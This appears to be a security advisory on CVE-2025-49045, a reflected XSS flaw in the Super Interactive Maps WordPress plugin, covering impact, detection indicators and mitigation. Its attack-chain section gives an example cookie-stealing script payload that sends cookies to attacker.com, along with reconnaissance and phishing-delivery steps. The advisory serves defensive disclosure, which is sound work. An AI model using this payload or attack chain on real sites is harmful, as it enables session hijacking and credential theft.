CVE-2025-49045: 
WordPress vulnerability analysis and mitigation

CVE-2025-49045 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Super Interactive Maps WordPress plugin by highwarden. It affects all versions up to and including 2.3, with no official patch available as of the time of disclosure. The vulnerability was reported on August 30, 2025, by researcher João Pedro S Alcântara (Kinorth) and published by Patchstack on January 8, 2026. It carries a CVSS v3.1 base score of 7.1 (High), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS variant. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject malicious JavaScript that executes in the victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged or regular user must be tricked into clicking a crafted malicious link. The attack vector is network-based with low complexity and a changed scope, meaning the injected script can affect resources beyond the vulnerable plugin's own context (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, redirection to malicious sites, or defacement of web content visible to the victim. The changed scope (S:C) in the CVSS vector indicates the impact can extend beyond the plugin itself to the broader WordPress environment, including potential access to admin functionality if an administrator is targeted (Patchstack).

No public proof-of-concept exploit code has been identified for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity. There is no evidence of active in-the-wild exploitation, no known threat actor attribution, and the CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Super Interactive Maps plugin version ≤ 2.3 using tools like WPScan, Shodan, or Google dorks targeting the plugin's known file paths.
2. Craft malicious URL: Construct a URL targeting the vulnerable plugin endpoint that includes an unsanitized parameter containing a reflected XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Deliver the payload: Send the crafted URL to a target user (e.g., a WordPress administrator) via phishing email, social engineering, or embedding in a forum/comment.
4. Victim interaction: The victim clicks the malicious link, causing their browser to send the request to the vulnerable WordPress site, which reflects the unsanitized input back in the HTTP response.
5. Script execution: The injected JavaScript executes in the victim's browser session, enabling cookie theft, session hijacking, or unauthorized administrative actions on the WordPress site (Patchstack).

• Network: HTTP GET/POST requests to WordPress pages associated with the Super Interactive Maps plugin containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters.
• Logs: WordPress or web server access logs showing requests with suspicious payloads in URL parameters directed at plugin-related endpoints; referrer headers pointing to external attacker-controlled domains.
• Browser/Session: Unexpected redirects to external domains following interaction with plugin-related pages; anomalous outbound requests from victim browsers to unknown third-party hosts shortly after visiting the site.

As of the disclosure date, no official patch is available from the plugin developer for Super Interactive Maps. Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploitation attempts until an official fix is released. Site administrators should consider deactivating and removing the plugin until a patched version is published. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules and enforcing Content Security Policy (CSP) headers can reduce exploitation risk (Patchstack).